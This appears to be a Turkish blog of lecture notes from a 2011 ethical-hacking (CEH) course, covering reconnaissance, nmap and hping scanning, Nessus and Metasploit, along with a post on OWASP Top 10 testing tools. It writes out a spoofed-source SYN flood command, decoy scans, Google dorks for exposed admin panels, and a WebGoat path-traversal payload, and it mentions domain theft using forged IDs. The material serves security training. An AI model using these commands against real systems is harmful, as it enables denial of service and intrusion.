      • Düzgün bir yama yönetimi olan kurumlarda exploitlerin çoğu çalışmayacaktır.
      • Underground camiada 0-day açıklıklar el altından satılıyor (Dip not: alıcılar genelde istihbarat örgütleri)
      • 100% FUD => Fully UnDetectable
      • Exploit, bir program/scripttir; programlardaki zafiyetler ve hatalar için kullanılır.
      • Exploit çeşitleri
        • Local (Linux kernel exploitleri)
          • Client-side exploit
        • Remote (Uzaktan gönderilen bir paketle sistemin ele geçirilebildiği durumlar)
        • DoS (Zafiyetten faydalanarak sisteme sızmıyor, sistemi erişimsiz kılıyor)
        • Command-execution (WebApp)
        • SQLi (WebApp)
        • Zero-day
      • Bir makineye uzaktan eriştiğinizde, web sunucu (apache, iis vs) hangi haklara sahipse o haklara sahip olursunuz.
      • Saldırgan makineye eriştiğinde (linux) uname -a çalıştırır, versiyonu öğrenir, o versiyonun açıklıklarıyla sisteme sızmaya çalışır.
      • (Parantez) zone-h => 2000'den beri hacklenen sitelerin veritabanını tutan site.
      • MS, her ayın 2. Salı'sı bir advisor yayınlıyor 0-day açıklar için.
      • milw0rm => ömrünü tamamladı.
      • explo.it ya da exploit-db.com => offensive security firmasının arkasında olduğu site.
      • securityfocus
      • Her exploit güvenilir değildir, dikkat! Farklı forumlardan indirilen exploitleri çalıştırırken10 kere düşünmek lazım. Exploit kodu içinde "rm -rf /" gibi bir satır olabilir; bu satır kod içinde hexadecimal vs bakınca anlaşılmayacak şekilde yazılmış da olabilir.
      • "sahte ssh exploitları".
      • Pentestlerde
        • Kesinlikle gerçek sistemlerimizi kullanmamalıyız. exploit-db güvenilir ama o site de hacklenip bir exploit içine birşeyler eklenebilir. VM makineler kullanılmalı.
        • Metasploit, ImunnityCanvas gibi bu işi ticari olarak yapıp exloitleri test ettikten sonra kullanan firmaların exploitlarını kullanmalıyız.
      • Her bir exploit, belli bir sisteme özel (OS, versiyon, dil farkları vs) yazılıyor.
      • Metasploit Exploit Development Framework => Exploit yazma çatısı.
      • Otomatize Exploit Araçları:
        • CoreImpact => Python
        • ImunityCanvas => Python
        • Metasploit => Opensource ürün. Teknik olarak diğerlerinden çok az eksiği vardır; görsel ve raporlama tarafında eksiktir; diğerlerine göre biraz daha fazla uğraştırabilir.
      • Nessus'ta bulup Metasploit'ta exploit etmeye çalışıyoruz; CoreImpact'te "tara, bulursan exploit et" diyoruz.
      • Metasploit
        • Web tarafı eksik
        • Raporlama yok
        • İlla bir nmap - nessus çıktısını girdi olarak alır.
        • Kavramlar (Metasploit GUI menüleri):
          • Exploit
          • Payload (Lambadan çıkan cin). Exploit çalışınca ne yapsın? Bir kullanıcı oluşturabilir, yerleştirilen ajanı çalıştırabilir. OS üzerinde bir soket açıp "bana bağlanabilirisiniz" der => remote shell / tcp bind shell. Ya da reverse shell bağlanılabilir: "Payload, sen bana bağlan, ben senin üzerinden shell'i çalıştırayım"
          • Post-exploitation. Exploit ettiğimiz sistemden başka sistemlere atlamamız gerekebilir. DMZ'de ele geçirilen bir makineden LAN'deki bir sistemi ele geçirme gibi.
        • Brute force için genelde Metasploit kullanılmıyor; 

      2 Mayıs 2011 Pazartesi

      CEH by BGA - Gün 1 - Ders 4

      Güvenlik Zafiyeti Tarama Yazılımları ve Nessus
      • Vulnerability Assessment
      • Erişim elde etmeye, sonrasında hak yükseltmeye çalışılır.
      • Teknoloji kullanımının (alırken, öğrenirken vs) her aşamasında güvenliği düşünmek gerekir.
      • Zafiyet nedenleri
        • Güncel olmayan yazılımlar
        • Programlama hatası
        • Eksik/yanlış yapılandırma.
      • Zafiyet takibi => CVE (Common Vulnerabilities and Exposures)
      • Güvenlik test çeşitleri
        • Network güvenliği (En temeli bu)
        • OS güvenliği
        • DB güvenliği
        • Web uygulama güvenliği (En popüleri bu)
      • nCircle, Qualys, Rapid7 Strong Positive, Tenable Nessus Strong kategorisinde (Gartner)
      Nessus
      • 3.x ile birlikte ücretsiz olarak kullanılabilen, kapalı kaynak kodlu bir yazılım haline geldi.
      • Günlük olarak zafiyet veritabanı yenileniyor.
      • 45.000 civarı plug-in'i var.
      • NASL => Nessus Attacking Scripting Language. Bu dili kullanarak plug-in yazabilirsiniz.
      • İstemci-sunucu mantığına uygun çalışır.
      • Nessus, KB (Knowledge Base) olarak isimlendirilen özelliği sayesinde plug-in'leri çalıştırırken akıllı bir şekilde filtreleme yapar. Mesela taranan makine Linux ise Microsoft testlerini çalıştırmaz.
      • Güvenlik tarama çeşitleri
        • Uzaktan
        • Yerel

      CEH by BGA - Gün 1 - Ders 3

      NMAP (Devam)

      • Nmap ile UDP tarama: -sU
        • Ekmek çıkmaz buradan. Yanıltır insanı. Güvenemeyiz. TCP güvenilirdir.
        • Hata kontrolü ICMP tarafından gerçekleştirilir.
        • Tek tarama tipi var.
        • UDP taramalarda versiyon taraması yapmazsak sonuçlar güvenilir olmaz.
        • Açıksa cevap dönmez, kapalıysa cevap döner.
        • Cevaplara göre 3 sonuç çıkarırız:
          • Cevap dönüyorsa kapalı
          • Cevap dönmüyorsa
            • Açık ya da
            • Firewall tarafından filtreleniyor.
        • Versiyon taraması için -sV kullanılır.
        • Genelde internette DNS versiyonlarını bulmakiçin kullanılır:
          • nmap -sU -p 53 195.175.39.39 --reason -sV
      • hping --udp -p 80
      • Nmap default'unda bilinen belirli portlara bakar. Misal SSH portunu 22 değil 3344'e taşımışlarsa sistemde, Nmap default ayarlarıyla bulamayacaktır. Aşağıdaki ilk sorgudan sonucu elde edemeyiz ama ikincide 3344 portunun SSH olduğunu bulur. CTF'lerde genelde vardır bu!
        • nmap 192.168.200.65 -p 3000-5000
        • nmap 192.168.200.65 -p 3000-5000 -sV
      • Nmap versiyon belirleme konusunda en iyi araçlardan biridir.
      • -sV, -sT, -sU
      İşletim Sistemi Belirleme
      • Nmap, gönderdiği paketlerin yanıtlarına göre OS versiyonunu belirlemeye çalışır.
      • Nmap, OS belirlemek için 1 açık, 1 kapalı port bulmak zorunda.
      • Kapalı porttan kastımız, SYN paketine RST dönen portlar. Cevap dönmemesi filtrelenmiş anlamına gelir, kapalı demek değildir.-O parametresi ile.
      • Linux "time" komutu. Arkasından gelen komutun ne kadar sürede çalışacağını tahmin eder.
      • www.netcraft.com
      • hping -S -p 81 192.168.200.65 -a www.kurum.gov.tr --flood
      • Nmap -A => tüm temel aramaları yapıyor.
      • Nmap taramaları karşılaştırma:
        • -oX ile XML formatında sonuçlar kaydedilir;
        • ndiff --text text1 text2. XML ise --text parametresinin değişmesi gerekebilir.
      • Nmap arabirimi: Zenmap.
      IDS/IPS vs Port Tarama
      • Decoy Scanning. Farklı kaynaklardan istekleri gönderme.
      • nmap -D 1.1.1.1=> talepler 1.1.1.1 adresinden geliyormuş gibi port tarama yapılır. 
      • nmap -D RND:11 google.com --packet_trace => 11 sahte IP'den talep gönder.
      • Syncookie: DDoS engelleme yöntemi. Her SYN paketine SYN-ACK gönderir doğrudan. Tarama yaparken tüm portları açık görünür!!

      CEH by BGA - Gün 1 - Ders 2

      Bilgi Toplama (Devam)

      • Arama motorlarından bilgi toplama
        • Pentest tarafı için başka arama motorları da özelleşiyor, google devri yavaş yavaş kapanıyor.
        • pipl.com
        • google.com/linux vs.
        • shodanhq.com <== SHODAN - ÖNEMLİ!!!
          • "default password admin" yazarak default şifresi admin olan siteleri sorgulayabiliyoruz mesela.
        • Google Hacking
          • site:www.google.com => sadece bir uygulamada ara
          • allintitle:...
          • "Welcome to phpMyAdmin" => Bu geliyorsa google'da, şifresiz bir phpMyAdmin kurulu demektir.
          • Jboss => site:*.tr inurl:\jmx-console\
        • clez.net
      Aktif Bilgi Toplama
      • Karşı tarafa bilgi veriyoruz.
      • Karşı tarafta log tutulduğunu düşünerek hareket ediyoruz.
      • Önce DNS üzerinden bilgi topluyoruz.
        • Zone transferi => domain'e ait bütün alt alanların tek yolu.
        • who.is/nameserver/DNS_Sunucusu_Adresi ile o DNS sunucu üzerindeki tüm domainler. hepsiburada.com için örnekle.
        • DNS sunucu versiyon bilgisi
        • hackertarget.com => Alt domainleri bulmak için kullanılır.
        • http://clez.net/net.dns?ip=tubitak.gov.tr#graph => Bulabildiği tüm subdomainleri listeler.
        • Zone transferi genellikle kapalıdır. TCP Port 53 kapatılır bunun için.
      • SMTP üzerinden bilgi toplama
        • Mail sunucunun iç IP bilgileri. Eğer engellenmediyse.
        • Olmayan bir mail adresine mail gönderilir. Bounce özelliği devreye girerek mail sunucu böyle bir adres yok diye mail gönderir. Bu mailden alınan bilgiyle SMTP deşme başlar.
        • En önemli başlık bilgisi "Received-By"
      • Network haritası çıkarma
        • Router, firewall, IPS/WAF, Açık port bulma.
        • Router çok önemli değil, firewall daha önemli, IPS/WAF daha da önemli...
        • Ağ haritası çıkarma: Traceroute (tracert in Windows)
          • Layer3'te uğradığı makineler.
          • IPS, Layer2'de çalıştığından traceroute ile bulunamazlar.
          • Traceroute TTL (TimeToLive) bilgisini kullanır. Bu bilgi, istediğimiz anda bir araçla değiştirebileceğimiz bir bilgi.
        • HPING => Traceroute çalışma mantığı
          • hping -p 80 www.google.com -t 1 => ilk router paketi alır, "bu paket bende öldü" bilgisi gönderir.
        • tcptraceroute => ICMP ve UDP değil, TCP üzerinden bu işi yapıyoruz.
        • MALTEGO. İşin pratik kısmı. Bir domain'e ait tüm detaylar. Ücretsiz versiyonu günlük 60-70 kullanım sağlıyormuş sanırım. BackTrack içinde ücretsiz versiyonu var.
          • Kişi hakkında bilgi toplama için de kullanılıyor. Oldukça ilginç.
      • Özet:
        • Bilgi toplama, testin belki de en uzun ve önemli kısmıdır.
        • Subdomain için brute-force denemeler yapılarak sonuca ulaşılır. dig komutu kullanılabilir. NXDOMAIN yazdıysa bu domain yoktur; NO ERROR diyorsa var demektir.
      Ağ Keşif Taramaları
      • Neyi tarıyoruz? Niye tarıyoruz?
        • Whitebox - Blackbox
      • Tarama çeşitleri
        • Host/ağ tarama
        • Port tarama
        • Ağ haritalama. Eskiden isteniyormuş firmalar tarafından, artık pek istenmiyor.
        • OS belirleme
        • Zafiyet tarama.
      • Aktif sistemlerin belirlenmesi
        • ICMP tarama (Klasik Ping)
        • TCP ping kavramı => hping -p 80 -S www.garanti.com.tr
        • UDP ping kavramı
        • ARP ping => Yerel ağ protokolüdür. Bütün trafik kapalı olsabile açık olanARP scan'e mutlaka cevap vermek zorunda.
      • Klasik ping, ICMP üzerindendi. ICMP Smurf ile DoS saldırıları düzenlendiğinden beri ICMP cevapları engelleniyor.
      • RFC konsorsiyum.
      • SYN paketi gönderdik. Response yorumlanır:
        • RST döndüyse port kapalı
        • SYN+ACK döndüyse port açık
        • Birşey dönmediyse (makine açıkken) port filtreli.
      • NMAP!
      NMAP
      • Komut satırından kullanımı daha esnek
      • -n => isim çözmeye çalışmasını engellemek için. Aksihalde yavaşlar sorgu. Mutlaka kullan!
      • ICMP (ayıp olmasın), TCP pinglerle önce makinenin açık olup olmadığına karar vermeye çalışır.
      • --packet_trace parametresi ile NMAP paket hareketleri izlenebilir.
      • -PN parametresi: Nmap makinenin açık olmadığını düşünüyorsa bile "sen karışma, tara" demiş oluyoruz.
      • 15 farklı port tarama çeşidini destekler Nmap.
      • Sistemler üzerindeki firewall'lar (statefull firewall). Her bağlantı SYN ile başlamak zorundadır. Stateful firewall'lar ilk paket bu olmadığı zaman gelen paketi DROP eder, dolayısıyla SYN ile başlayan scan'ler harici ÇALIŞMAZ günümüzde!
      • Port tarama, TCP başlığındaki flag'lerle (SYN, ACK, RST, PSH...) yapılır.
      • TCP SYN Scan: -sS
        • SA dönerse port açık
        • R dönerse kapalı
        • Cevap gelmezse "filtered"dır, hedef sistemin önünde güvenlik duvarı vardır.
      • nmap www.google.com --top-ports 10 --reason => En çok açık olan 10 portu tara, neden açık/kapalı/filtered olduğunu da bana raporla (--reason)
      • Bazı firewall'lar kapalı portlar için RST dönerken, bazıları cevap dönmeyebilir. Firewall'un politikası ile alakalı. Dolayısıyla yanıt dönmediğinde Nmap filtered diyecek ama kapalı da olabilir o port.
      • TCP Connect Scan: -sT => 3lü el sıkışmayı tamamlamaya çalışır.
      • Diğer scan türlerini unut: SYN, Connect ve ... tarama türleri ile işimizi görelim.

      CEH by BGA - Gün 1 - Ders 1

      • Beyaz Şapkalı Hacker Eğitimi - Huzeyfe Önal
      • CCI - CSSP Sertifkaları, CEH Sertifikası'ndan daha çok biliniyor diyebiliriz sanırım.
      • Nam-ı Diğer: Siber Tehditler ve Savunma Yöntemleri
      • (Parantez) Türkiye'deki 100 IPS'ten 97 tanesini 10 yaşındakibirçocuk sahip olduğu bilgiyle rahatça aşabilir.
      • Defensive security işe yaramıyor, bu eğitimde bunu öğreneceğiz. Offensive security yöntemlerine değinilecek.
      • EC-Council v7'nin getirdiği bir yenilik yok konu olarak. Kullanılan araçlar olarak artık tedavülden kalkmış uygulamaları varmış pratikte kullanılan, onları yenilemişler.
      Amaçlar
      • En önemli amacı, saldırgan vizyonunu kazanmak.
      • Güvenlik = sigorta şirketleri benzetmesi.
      • Ürün bağımsız olayların perde arkasına göz atmak.
      • Parola: Ezber değil mantık.
      • Sınava giriş için bir süre beklemekte fayda var. V7'ye geçildiği için sorular değişmiş olabilir.

      Bilgi Toplama Yöntem ve Çeşitleri

      • Bir saldırgan için ilk yapılacak iş. İyi bir saldırgan, mutlaka saldırı öncesi bir keşif yapar. Bu, hem gerçek dünyada, hem sanal dünyada böyledir.
      • (Parantez) User agent alanı sadece Firefox ve IE olsun önlemi alınmış bir uygulamaya Acunetix (veya Netsparker) ile test etmeye çalıştığımızda engellenir. Bu araçların ön tanımlı değerlerinde user agent kısımlarında kendi bilgileri yazıyor çünkü. Değiştirilebilir. Keşif yapılsa bu farkedilirdi.
      • Exploitation, pentest'in önemli bir adımı. Ama genelde testin yapılacağı firmalar bunu istemiyor.
      • Güvenlik testleri 9 adım:
        • Bilgi toplama
        • Ağ haritalama
        • Zafiyet tarama
        • Pentest (sızma) süreci
        • Hak yükseltme. Sızdım ama sızdığım kullanıcının yeterli hakları yok.
        • Detaylı araştırma. Sağda solda başka makine var mı?
        • Erişimlerin korunması. Bir sisteme sızıldıysa kesinlikle baştan tekrar kurmak gerekir.
        • Raporlama. Bir saldırgan,  bütün izlerini siler. İnternet üzerinde logları silen hazır araçlar var.
      • Hacker camiası çok motive...
      • Şu 3'ü olduktan sonra kaçış yok gibi
        • Motivasyon
        • Bilgi
        • Google.
      • BİLGİ: Değer ifade eden veridir. Değeri, zaman ve mekana göre değişebilir. 50 yıl önce mecliste konuşulanlar devlet sırrı iken bugün arşiv bilgisidir ve yayınlanmıştır. Ama Coca-Cola'nın formülü her zaman değerli bilgi...
      • Yöntemler
        • Pasif. İnternet üzerinden çeşitli sistemleri kullanarak, karşı tarafı uyandırmadan yapılan bilgi toplama.
          • whois sorguları. En önemli bilgilerden biri, o domain'i kim almış?
          • Şirketin DNS ayarlarının başka yere yönlendirilmesi.
        • Aktif
      • IP adresleri ve domain adları hakkında bilgi edinme
        • Tüm dünyadaki IP adresleri ve domain ismi dağıtımı tek merkezden dağıtılıyor: ICANN
        • Kişinin mail adresinin şifresini kıramazlarsa o adresle üye olunan forumlar vs bulunup hacklenir; orada kullandığı şifre ile hacklenmek istenen şifre aynı mı kontrol edilir.
        • RIR -> Banko soru: Hangisi RIR değildir.
          • RIR: Regional Internet Registery.
            • AfriNIC
            • ARIN
            • APNIC
            • LACNIC
            • RIPE NCC
      • Faks ve biraz sosyal mühendislikle domain adresinin alındığı firmadan domain'in bilgileri elde edilebilir.
      • who.is
        • Kontak bilgileri, bir birey olmamalı. Üzerine yoğunlaşılabilir. Sadece bu işe özel bir mail adresi set edilmeli bu iş için.
      • Domain'i, başkaları üstüne alabilir mi? Domain çalma.
        • "Domain'im çalındı, şu mail adresine yeni bilgileri gönderin" dediğimizde genelde nüfus cüzdanı faksı istenir, internette nüfus cüzdanı yapan siteler de mevcut.
        • baidu.com => çok büyük bir arama motoru. İranlı hackerlar, DNS ve domain'i üzerlerine aldılar, whois sorgularından faydalanarak.
        • whois arşivi. who.is sitesinden incele.
      • IP adresi sorgulama. IP bloğu bulunup IP aralığına port taraması yapılabilir. Bir RIR olan RIPE.net kullanımını incele.
      • NETCRAFT pasif bilgi toplama aracı. Ek kontrol amaçlı kullanılabilir, güvenmiyoruz.
      • IP üzerinde sunulan domainlerin keşfi
        • Bir IP adresinde bir sürü domain barındırılabilir ==> Virtual host.
        • O makineden bir domain'i hacklersek diğer domainlere atlayabiliriz. Önlem alınmadıysa açıklık tüm sunucuyu etkileyecektir.
        • robtex.com ile IP'den domain keşfi yapılabilir. Aynı subnetteki IP'leri de inceler.
        • bing arama motorunda ==> ip:193.140.80.201 aratılırsa o IP adresleri üzerinde çalışan uygulamalar listelenir.

      28 Mart 2011 Pazartesi

      OWASP Top10 Açıklık ve İlgili Araçlar


      OWASP'ın 2010 yılı için açıkladığı en önemli 10 güvenlik riski ve bunlar için en faydalı araçlardan birer örnek, bu yazının konusunu oluşturur. Yazı http://resources.infosecinstitute.com/owasp-top-10-tools-and-tactics/ adresinde bulunan makale baz alınarak hazırlanmıştır.
      OWASP'ın 2010 yılı analizi ile ilgili detaylar için: http://www.owasp.org/index.php/Top_10_2010-Main

      Risk - Araç matrisi:

      RISKTOOL
      A1: InjectionSQL Inject Me
      A2: Cross-Site Scripting (XSS)ZAP
      A3: Broken Authentication and Session ManagementHackBar
      A4: Insecure Direct Object ReferencesBurp
      A5: Cross-Site Request Forgery (CSRF)Tamper Data
      A6: Security MisconfigurationWatobo
      A7: Insecure Cryptographic StorageN/A
      A8: Failure to Restrict URL AccessNikto/Wikto
      A9: Insufficient Transport Layer ProtectionCalomel
      A10: Unvalidated Redirects and ForwardsWatcher


      1. Injection: SQL Inject Me
      SQL Inject Me, en yaygın bilinen Firefox plug-in'lerinden biridir. Aktif hale getirildiğinde aşağıdaki ekran görüntüsünde bir sidebar açılır. Bu arayüz değişkendir; browser'da açılan sayfadaki formlara ve girdi alanlarına göre dinamik olarak değişir.

      Test tamamlandığında sonuçları ayrı bir Firefox tab'ı olarak açılır.

      2. XSS: ZAP
      ZAP: Zed Attack Proxy.
      Bir OWASP projesidir. Web uygulamalarındaki zafiyetleri bulmak için kolay kullanımlı bir sızma testi aracıdır. Desteği devam eden ve gelecek planları yapılan bir araçtır. 1.2.0 versiyonu, bir kişisel vekil, kaba kuvvet saldırı, port tarama ve spidering gibi kabiliyetleri barındırmaktadır. Genel bir açıklık tarama aracı olmasına karşılık biz bu aracı XSS tarama için özel olarak değerlendiriyoruz.

      Orijinal makalenin yazarı, ZED'in spidering kabiliyetini de takdir ettiğini söylüyor.

      3. Broken Authentication and Session Management: HackBar
      Sözü edilen açıklığın en önemli nedenlerinden biri, zayıf SessionID'dir. Sıkça SSL/TLS kullanmadan transfer edilirler; zayıf depolanmışlardır (kripto kullanmadan); URL rewriting ile ortaya çıkarılabilirler. SessionID'nin kullanıcı parolasının MD5 ya da Sha1 hash kodu olduğu durumlar bile görülmüştür. Saldırgan MITM (Man-In-The-Middle) gerçekleştirebilmişse ya da XSS gibi bir yöntemle kullanıcı SessionID'sini elde edebilmişse, ters çevirmeden replay edildiği konu edilmezse (!), Firefox plug-in'i olan HackBar kullanılabilir.
      Yükledikten sonra F9 kısa yoluyla HackBar görüntülenebilir; burada Encryption pull-down menüsünden Sha1 ya da MD5 menüsü, o menü altından da Send To...

      XSS ve SQLi testleri yanıs sıra, HackBar, Base64, URL ve Hex encoding-decoding konusunda da çok başarılı bir araç.

      4. Insecure Direct Object References: Burp Suite
      Doğrudan nesne referansının en kötü sonucunun dizin gezinimi olacağını düşünebiliriz.
      Dizin gezinimi testi için Burp'ün ticari versiyonu yanında ücretsiz versiyonu da kullanılabilir.
      Test için: WebGoat içindeki Access Control Flaws - ByPass a Path Based Access Control Scheme dersi kullanılabilir. Burp'ün sol penceresinde görünen linke (http://localhost/WebGoat/attack?Screen=17&menu=200) sağ tıklanarak adres Repeater'a gönderilir; Repeater tab'ına gidilir, File parametresindeki BackDoors.html değeri BackDoors.html..\..\..\..\..\..\..\..\windows\windows.ini olarak değiştirilir.


      5. CSRF - TamperData
      Firefox plug-in'i. Yüklendikten sonra Tools menüsü altından aktif hale getirilebilir. Tamper data ile yapılan, HTTP taleplerini yakalayıp değiştirerek göndermektir; bu özelliği ile CSRF testleri bilinen prosedürleri ile gerçekleştirilir. Webscarab vb kişisel vekiller ile HTTP talepleri yakalayarak CSRF testleri gerçekleştirmeden bir farkı yoktur Tamper Data ile bu testleri gerçekleştirmenin.


      6. Security Misconfiguration: Watobo
      Watobo, yarı otomatik web uygulama denetimleri yapmak için tasarlanmıştır ve ayrıca hatalı konfigüsaryonları bulma konusunda iyi bir araçtır.
      Watobo bir kişisel vekil gibi çalışır. Ruby ile yazıldığından Ruby interpretter kurulmasını gerektirir. Öntanımlı olarak dinlediği port 8081'dir.


      8. Failure to Restrict URL Access: Nikto/Wikto
      Uygulama, korunmuş bölgelere erişen URL'leri her erişme girişiminde test etmeli; aksi halde saldırgan, Nikto (ya da bunun benzeri bir Windows GUI'si olan Wikto) benzeri araçlarla özellikle sayfa hiyerarşisi iyi bilinen wordpress benzeri uygulamalarda gizli/yetkisiz sayfalara erişebiliecektir.
      Nikto, web sunucular üzerinde geniş kapsamlı testler gerçekleştirebilen bir web sunucu tarayıcısıdır. Potansiyel olarak tehlike taşıyan 6400 dosya/CGI, 1000'den fazla sunucu için versiyon güncelliği kontrolü ve 270'den fazla sunucu için var olan versiyona özel zafiyetler, Nikto'nun birçok test kaleminden birkaçıdır.
      Nikto, Perl ile yazılmıştır ve çalıştırmak için Perl interpreter gerektirir. Linux bir sistemde şu şekilde çalıştırılabilir: ./nikto.pl -h <hedef host IP ya da URL>.

      Nikto taramalarında false positive sonuçlar elde etmek olasıdır, ama çok değerli sonuçlar da elde edilecektir.
      Yukarıdaki resmin sonunda erişimin kısıtlanması gerektiği düşünülen bir dizin raporlanmıştır.

      9. Insufficient Transport Layer Protection: Calomel Add-on
      Yetersiz taşıma katmanı korumasının tarifi kolaydır, SSL kullanılmaması. Calomel, sertifika durumu hakkında çok güzel bilgi veren bir Firefox plug-in'i.

      Calomel, SSL bağlantısı güvenliğini derecelendirir; uygulamaya özel buton'un rengi, güvenlik seviyesine göre farklılaşacaktır. Butona basıldığında da şekildeki gibi detaylar dökülecektir.

      10. Unvalidated Redirects and Forwards: Watcher
      Watcher, Chris Weber'in Fiddler (ücretsiz web debugger) uygulaması için bir add-on (sadece IE için). Pasif bir analiz aracı olarak inanılmaz güzel çalışır. Ayrıca açık yeniden yönlendirmeleri (redirect & forward) yakalar. Fiddler ile birlikte kurulacak Watcherın çalışıp çalışmadığını anlamak, Fiddler üzerinden trafiğin geçtiğini anlamak kadar kolaydır; yani Fiddler üzerinden trafik akıyorsa (kişisel vekil) Watcher da çalışıyor demektir.

      URL redirect zafiyetinin ne kadar yaygın olduğunu görmek için google'da şu aramayı yapabiliriz: inurl:”redirect.asp?url=”.

      Web Uygulama Sızma Testleri İçin Kontrol Listeleri - V

      Checklist for Web App Pentesting - V 6. Veri Denetimi (Data Validation) Testleri 6.1 Girdi Denetimi Bütün girdiler denetlenmelidir....